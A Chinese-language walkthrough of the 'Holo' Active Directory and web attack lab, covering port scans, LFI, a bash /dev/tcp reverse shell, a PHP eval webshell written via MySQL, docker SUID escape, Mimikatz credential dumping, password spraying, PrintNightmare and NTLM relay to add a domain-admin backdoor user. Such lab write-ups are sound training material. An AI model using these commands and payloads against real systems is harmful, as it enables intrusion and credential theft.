1. 靶场简介
Holo 是一个 Active Directory (AD) 和 Web 应用程序攻击实验室,旨在教授核心 Web 攻击向量和更高级的 AD 攻击技术。该网络模拟公司网络上的外部渗透测试。
靶场拓扑如下所示:
2. 靶场渗透
2.1 L-SRV01机器渗透
2.1.1 端口扫描
nmap全端口开放情况探测目标靶机开放22,80以及33060端口
nmap -sT -p- -Pn 10.200.69.33 --min-rate 10000 -oA portscan
port=$(cat portscan.nmap| grep 'open' | cut -d '/' -f 1 | paste -sd ',')
对开放的22,80和33060端口做进一步的服务信息探测。从探测结果来看80端口所部署的web服务可能使用了wordpress框架。
nmap -sV -sC -p $port 10.200.69.33 --min-rate 10000 -oA detailscan
2.1.2 子域名枚举
Web服务源代码发现域名,把域名加到/etc/hosts
中
holo.live
www.holo.live
使用wfuzz对子域名做进一步的枚举,从枚举结果来看,还存在域名dev.holo.live
和admin.holo.live
,同样吧域名加入/etc/hosts
中
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u holo.live -H "Host:FUZZ.holo.live" --hw=1402
2.1.3 LFI漏洞
测试dev.holo.live
站点功能时,发现在talents.php
下对于图片的引用功能可能存在LFI。
尝试访问http://dev.holo.live/img.php?file=images/../../../../../../etc/passwd
成功读取到目标机器的/etc/passwd
在对站点进行目录枚举过程中发现admin.holo.live
存在robots.txt,读取之后得到
User-agent: *
Disallow: /var/www/admin/db.php
Disallow: /var/www/admin/dashboard.php
Disallow: /var/www/admin/supersecretdir/creds.txt
通过LFI来读取/var/www/admin/supersecretdir/creds.txt
获得凭据如下以及一个可能的用户名:gurag
,以此登入admin.holo.live
后台
admin:DBManagerLogin!
2.1.4 HTML注释泄露RCE功能点(flag)
登入后台之后查看网页注释发现RCE的可能
尝试访问http://admin.holo.live/dashboard.php?cmd=ls
,发现成功RCE
http://admin.holo.live/dashboard.php?cmd=bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E50%2E70%2E9%2F2223%200%3E%261%27
反弹shell获取立足点,并稳定一下nc接收的shell
python3 -c 'import pty;pty.spawn("/bin/bash");'
export XTERM=term
Ctrl + Z
stty raw -echo; fg
在/var/www下可以读取到user.txt,这也是我们获得的第一个flag。
HOLO{175d7322f8fc53392a417ccde356c3fe}
2.1.5 Docker逃逸-信息搜集
获取立足点之后在ifconfig
查看ip发现当前ip和拓扑图中的L-SRV02
一致,且根目录下存在.dockerenv
,因此判断当前的shell在docker中,并非物理机。
并且刷新页面之后发现拓扑图进行了更新,贴心的为我们更新了L-SRV01
的ip。
首先netstat -ntlp
查看一下容器的端口开放情况。从结果上来看,对本机额外开放了3306端口,判断是mysql服务。
于是前往Web服务目录下寻找数据库配置文件以寻找数据库连接凭据。在/var/html/admin/db_connect.php
发现如下内容。
define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');
2.1.7 Docker逃逸-Mysql向宿主机写Webshell
以凭据admin:!123SecureAdminDashboard321!
习惯性登录本地mysql发现密码不正确。重新审视一下获取的信息发现所连接Mysql服务的ip时192.168.100.1
,与拓扑图中L-SRV01
保持一致。于是使用mysql -h 192.168.100.1 -u admin -p
输入密码后完成连接。在数据库额外发现用户gurag的一组凭据,如下所示,但是从密码内容来看该凭据应该不可用。
gurag:AAAA
尝试通过load_file
来读取文件发现失败,于是使用show variables like '%secure%'
查看变量secure_file_priv
的配置情况,发现文件的读写目录被设置在了/var/www/html/
。
习惯性尝试读取/var/www/html/index.php
发现内容与我们直接访问192.168.100.1
的内容不一致(直接访问192.168.100.1
得到的是wordpress
框架的首页),通过mysql
读取的内容大致如下图所示,猜测站点部署在8080
端口,通过curl
访问也印证了这一点。
我们通过mysql将后门文件写入web目录select '<?php echo 123;eval($_POST[\'r0ngy40\']);?>' into outfile '/var/www/html/backdoor.php'
2.1.6 Docker逃逸-隧道建立(flag)
我们在攻击机上不方便直接访问192.168.100.1:8080
,于是尝试建立隧道,这里使用stowaway
。
攻击机上运行./linux_x64_admin -l 12345
监听12345
端口
通过python3 -m http.server 9999
在攻击机上启动一个HTTP
服务器,将客户端上传到目标靶机上,在目标靶机上执行./linux_x64_agent -c 攻击机IP:12345
连接到服务端。
在服务端执行use 0
切换到节点0的控制面板,执行socks 7777
以在本地7777
端口开启socks代理
此时在攻击机浏览器通过FoxyProxy
等代理工具设置HTTP
通过127.0.0.1:7777
代理服务器即可访问到内网IP为192.168.100.1
的L-SRV01
,尝试连接后门发现成功访问。
通过后门下载位于L-SRV02
上的代理客户端,并添加上执行权限。
添加执行权限之后通过服务端在L-SRV02
节点上监听9998
端口,以便L-SRV01
上的客户端能够连接到代理链条上。
监听端口之后在L-SRV01
上的后门执行./linux_x64_agent -c 192.168.100.100:9998
完成连接。
通过工具提供shell
功能直接获取shell,在/var/www/html
下读取flag。
2.1.7 SUID Docker提权Root(flag)
当前是www-data
权限,尝试提权,枚举常见提权向量,发现docker
文件具有suid为,文件属主为root
。
find / -perm -u=s 2>/dev/null
在gtfobins查看利用方法,跟随工具网站提权到root。
不过需要对上述命令做适当修改,因为当前靶机不存在alpine镜像,在靶机上无法下载,因此我们需要指定一个靶机存在的镜像,这里我们选择ubuntu:18.04
,因此完整的提权命令为:
docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh
提权完成后在/root
下获得flag。
2.1.8 shadow文件破解
为了方便后续横向,我们把本台机器上的/etc/passwd
和/etc/shadow
下载到本地方便进行破解。可以通过hashcat
直接对shadow
文件中的哈希破解,也可以通过john
进行破解。
unshadow passwd shadow > shadow_passwd
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_passwd
靶机设计的密码太过离谱,linux-admin:$6$Zs4KmlUsMiwVLy2y$V8S5G3q7tpBMZip8Iv/H6i5ctHVFf6.fS.HXBw9Kyv96Qbc2ZHzHlYHkaHm8A5toyMA3J53JU.dc6ZCjRxhjV1:1001:1001:,,,:/home/linux-admin:/bin/bash
在hashcat
的爆破下需要将近一个小时才能得到明文哈希linuxrulez
,个人感觉正常情况每一个哈希如果在爆破10-15min都没有办法破解成功基本就是可以考虑爆破无果了。
在等到凭据之后我们就可以直接以SSH登录10.200.69.33
无需通过docker
容器。
2.2 S-SRV01机器渗透
拿到L-SRV01
的root的flag后,拓补图贴心的自动更新了,我们也就省去了扫描网段寻找存活主机ip的步骤,并且机器自带nmap,方便我们进行端口探测。
2.2.1 端口扫描
nmap全端口开放探测,得到的开放端口还是很多的。
nmap -sT -p- -Pn 10.200.69.31 --min-rate 10000 -oA portscan
port=$(cat portscan.nmap| grep 'open' | cut -d '/' -f 1 | paste -sd ',')
对所有开放端口进行进一步的服务信息探测,筛选一下,比较有价值且有较为详细信息的也就是22,80,135,139,443,445,3306,3389部署的服务
2.2.2 隧道建立
在stowaway
的服务端选中node 1
,使用socks 8888
在127.0.0.1:8888
开启socks代理,方便我们直接在攻击机上枚举并攻击S-SRV01
上的服务。
2.2.3 user_token泄露导致任意用户密码修改(flag)
通过代理访问http://10.200.69.31
发现是一个登录框,尝试登录发现表单提交后页面空白,于是尝通过Burp抓包。
配置好Burp的Socks代理后抓取登陆包,放包后查看响应包,发现并没有有用的信息。
在测试Forget Password
功能时发现该功能点对错误信息回显未做合适处理使得我们可以判断出系统存在用户gurag
。
值得注意的是,当我们尝试重置gurag
用户时,返回包中存在Set-Cookie
字段,并设置了user_token
的值,且在我们发送的请求保重user_token
参数默认为空。猜测可能是后端处理不当,Set-Cookie
字段可能泄露用户user_token
,因此我们将相应值复制到请求包中,再次尝试重置密码。可以发现页面跳转到reset.php
我们尝试以gurag:gurag
修改账户凭据,成功修改并获得了新的flag
2.2.4 任意文件上传(flag)
以修改后的凭据登入之后发现存在图片上传的功能
上传一个backdoor.php
发现未对上传的文件做安全过滤,成功上传。通过wfuzz
尝试枚举上传后的文件存放的目录:
proxychains4 wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt
--hc 404 http://10.200.69.31/FUZZ | tee srv_web_dict.txt
通过访问http://10.200.69.31/images/backdoor.php
成功连接到Webshell
,我们直接将我们代理工具的客户端上传上去会被告知文件过大,所以通过powershell
来下载L-SRV01
上的代理客户端。
powershell -c \"Invoke-WebRequest -Uri 'http://10.200.69.33:9999/windows_x64_agent.exe' -OutFile 'windows_x64_agent.exe'\"
获得shell后可以发现权限很高是system
权限,在管理员的桌面下读取flag。
2.2.5 凭据抓取
由于权限很高,所以我们上传一下Mimikatz抓取一下凭据。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit > logonpasswords.txt
比较有价值的凭据如下
watamet:d8d41e6cf762a8c77776a1843d4141c9:Nothingtoworry!
S-SRV01$:3179c8ec65934b8d33ac9ec2a9d93400
Administrator:4c529921152aab85192532e2c8771a92
WDAGUtilityAccount:58f8e0214224aebc2c5f82fb7cb47ca1
2.3 PC-FILESRV01机器渗透
拿下S-SRV01
之后,拓扑图完成了更新,我们也明确下一个目标。
2.3.1 端口扫描
在L-SRV01
机器上对PC-FILESRV01
机器进行端口的扫描
nmap -sT -p- -Pn 10.200.69.35 --min-rate 10000
2.3.2 密码喷洒
将S-SRV01
主机上获得域用户整理成字典,使用工具crackmapexec
对PC-FILESRV01
机器进行密码喷洒。
echo 'ad-joiner Administrator a-fubukis
a-koronei ameliaw cocok
cryillic fubukis Guest
gurag koronei krbtgt
matsurin mikos okayun
PC-MGR spooks SRV-ADMIN
watamet WEB-MGR' | awk '{print $1,$2,$3}' | sed 's/ /\n/g' > user.txt
从喷洒结果来看,凭据holo.live\watamet:Nothingtoworry!
在目标机器上有效。
proxychains4 crackmapexec smb 10.200.69.35 -u user.txt -p Nothingtoworry! -d 'holo.live'
考虑到目标机器开了3389
端口,尝试用喷洒得到的有效凭据登录远程桌面,获得flag。
proxychains4 xfreerdp /u:watamet /p:Nothingtoworry! /h:600 /v:10.200.69.35
提交flag后拓扑图完成更新
2.3.3 AppLocker绕过
为了方便后续渗透,我们在S-SRV01
机器的Web服务目录下上传代理客户端,并在PC-FILESRV01
机器上下载。
certutil -urlcache -split -f http://10.200.69.31/windows_x64_agent.exe
尝试运行时发现出现报错:``
This program is blocked by group policy. For more information, contact your system administrator.
上传applocker-bypas-checker.ps1
,该脚本将自动检查系统内所有已知目录的执行权限。
我们将代理客户端移动到C:\Windows\Tasks
下再次执行,从而将当前机器加入代理链中。
2.3.4 PrintNightmare提权
发现目标机器存在CVE-2021-1675
,传一个poc上去。
./CVE-2021-1675.ps1
Invoke-NightMare
执行后将在目标机器添加用户adm1n:P@ssw0rd
并且将该用户加入管理员组。
xfreerdp
连入上述用户即可获得管理员权限。
2.4 DC-SRV01渗透
2.4.1 域内通信情况查看
上传一个Inveigh.exe
运行后查看一下域内主机的SMB
,HTTP
等通信情况。
从结果来看存在来自10.200.69.32
到达10.200.69.35
的SMB
请求。
从之前我们对.35
机器的扫描结果来看,该机器的SMB
服务开启了签名但是并没有要求使用,因此我们可以尝试将NTLM
请求中继到SMB
服务,进行NTLM Relay
攻击。
2.4.2 NTLM Relay(flag)
房间指导我们可以关闭SMB
服务来结束对445
端口的占用,但是这种攻击方法毫无疑问"动静"过于巨大,我们需要思考在保留原有服务的基础上完成攻击。
Sugobet
关于该房间的文章指出了解决的办法,我们可以通过在目标机器上将445
端口的流量重定向到8445
端口,然后将8445
端口转发到攻击机的445
端口,此时再在攻击机上进行NTLM Relay
攻击。
首先通过PortBender
将445
端口流量重定向到8445
端口。
通过工具Chisel
进行端口转发,在攻击机上启动服务端,监听8887
端口.
服务端启动后在靶机上执行客户端,将8445
端口转发到本地的445
端口。
注意: Chisel
的服务端启动不能使用--reverse
参数指定以反向模式启动,否则客户端连接并转发端口到攻击机445
端口之后,该端口将会处于被占用的状态,此时再尝试使用ntlmrelayx
则会出现端口被占用的错误。
攻击机上运行proxychains4 ntlmrelayx.py -t smb://10.200.69.30 -smb2support -c 'whoami'
从日志来看我们可以得知连接的用户名为HOLOLIVE/SRV-ADMIN
whoami
命令执行的结果则是nt authority\system
注意:代理视情况使用,有时不添加socks
代理可能会出现如下错误。
尝试添加后门用户adm1n:P@ssw0rd
proxychains4 ntlmrelayx.py -t smb://10.200.69.30 -smb2support -c 'net user adm1n P@ssw0rd /add'
proxychains4 ntlmrelayx.py -t smb://10.200.69.30 -smb2support -c 'net group "domain admins" adm1n /add'
添加完成后使用psexec.py
获取shell,在管理员目录下获取flag
proxychains4 psexec.py adm1n@10.200.69.30
至此整个域环境就已经被我们拿下
靶场最终拓扑如下所示
3. 工具链接
文章中出现的主要工具链接如下所示:
-
-
2. 靶场渗透
- 2.1 L-SRV01机器渗透
- 2.1.1 端口扫描
- 2.1.2 子域名枚举
- 2.1.3 LFI漏洞
- 2.1.4 HTML注释泄露RCE功能点(flag)
- 2.1.5 Docker逃逸-信息搜集
- 2.1.7 Docker逃逸-Mysql向宿主机写Webshell
- 2.1.6 Docker逃逸-隧道建立(flag)
- 2.1.7 SUID Docker提权Root(flag)
- 2.1.8 shadow文件破解
- 2.2 S-SRV01机器渗透
- 2.2.1 端口扫描
- 2.2.2 隧道建立
- 2.2.3 user_token泄露导致任意用户密码修改(flag)
- 2.2.4 任意文件上传(flag)
- 2.2.5 凭据抓取
- 2.3 PC-FILESRV01机器渗透
- 2.3.1 端口扫描
- 2.3.2 密码喷洒
- 2.3.3 AppLocker绕过
- 2.3.4 PrintNightmare提权
- 2.4 DC-SRV01渗透
- 2.4.1 域内通信情况查看
- 2.4.2 NTLM Relay(flag)
-